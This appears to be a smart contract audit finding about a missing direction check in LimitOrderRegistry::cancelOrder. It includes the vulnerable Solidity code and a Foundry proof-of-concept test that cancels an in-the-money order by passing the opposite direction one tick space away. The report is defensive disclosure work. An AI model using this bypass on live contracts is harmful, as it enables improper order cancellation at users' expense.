MEDIUM severity: A malicious user can cancel an ITM order at a given target tick by calling `LimitOrderRegistry::cancelOrder` with the opposite direction, separated by one tick space. **Description:** Users are able to cancel their limit orders by calling `LimitOrderRegistry::cancelOrder`. By internally calling `_getOrderStatus` and validating the return value, it is intended that only OTM orders should be able to be cancelled.

The main flaw is that users are able to provide a.....

Vulnerable code:
function cancelOrder(
        UniswapV3Pool pool,
        int24 targetTick,
        bool direction //@audit don't validate order.direction == direction
    ) external returns (uint128 amount0, uint128 amount1, uint128 batchId) {
        uint256 positionId;
        {
            // Make sure order is OTM.
            (, int24 tick, , , , , ) = pool.slot0();

            // Determine upper and lower ticks.
            int24 upper;
            int24 lower;
            {
                int24 tickSpacing = pool.tickSpacing();
                // Make sure targetTick is divisible by spacing.
                if (targetTick % tickSpacing != 0)
                    revert LimitOrderRegistry__InvalidTargetTick(targetTick, tickSpacing);
                if (direction) {
                    upper = targetTick;
                    lower = targetTick - tickSpacing;
                } else {
                    upper = targetTick + tickSpacing;
                    lower = targetTick;
                }
            }
            // Validate lower, upper,and direction. Make sure order is not ITM or MIXED
            {
                OrderStatus status = _getOrderStatus(tick, lower, upper, direction);
                if (status != OrderStatus.OTM) revert LimitOrderRegistry__OrderITM(tick, targetTick, direction);
            }

            // Get the position id.
            positionId = getPositionFromTicks[pool][lower][upper];

            if (positionId == 0) revert LimitOrderRegistry__InvalidPositionId();
        }
        ...

function testCancellingITMOrderWrongly() external {
        uint96 usdcAmount = 1_000e6;
        int24 poolTick;
        int24 tickSpace = USDC_WETH_05_POOL.tickSpacing();
        {
            (, int24 tick, , , , , ) = USDC_WETH_05_POOL.slot0();
            poolTick = tick - (tick % tickSpace);
        }

        // Create orders.
        _createOrder(address(this), USDC_WETH_05_POOL, 2 * tickSpace, USDC, usdcAmount);

        // Make first order ITM.
        {
            address[] memory path = new address[](2);
            path[0] = address(WETH);
            path[1] = address(USDC);

            uint24[] memory poolFees = new uint24[](1);
            poolFees[0] = 500;

            uint256 swapAmount = 770e18;
            deal(address(WETH), address(this), swapAmount);
            _swap(path, poolFees, swapAmount);
        }

        (, int24 currentTick, , , , , ) = USDC_WETH_05_POOL.slot0();

        // Try to cancel it. But revert as it's ITM.
        vm.expectRevert(
            abi.encodeWithSelector(
                LimitOrderRegistry.LimitOrderRegistry__OrderITM.selector,
                currentTick,
                poolTick + 20,
                true
            )
        );
        registry.cancelOrder(USDC_WETH_05_POOL, poolTick + 2 * tickSpace, true);

        // Cancel with opposite direction, separated by one tick space
        registry.cancelOrder(USDC_WETH_05_POOL, poolTick + tickSpace, false);
    }

if (order.direction) {
            if (amount0 > 0) poolToData[pool].token0.safeTransfer(sender, amount0);
            else revert LimitOrderRegistry__NoLiquidityInOrder();
            if (amount1 > 0) revert LimitOrderRegistry__AmountShouldBeZero();
        } else {
            if (amount1 > 0) poolToData[pool].token1.safeTransfer(sender, amount1);
            else revert LimitOrderRegistry__NoLiquidityInOrder();
            if (amount0 > 0) revert LimitOrderRegistry__AmountShouldBeZero();
        }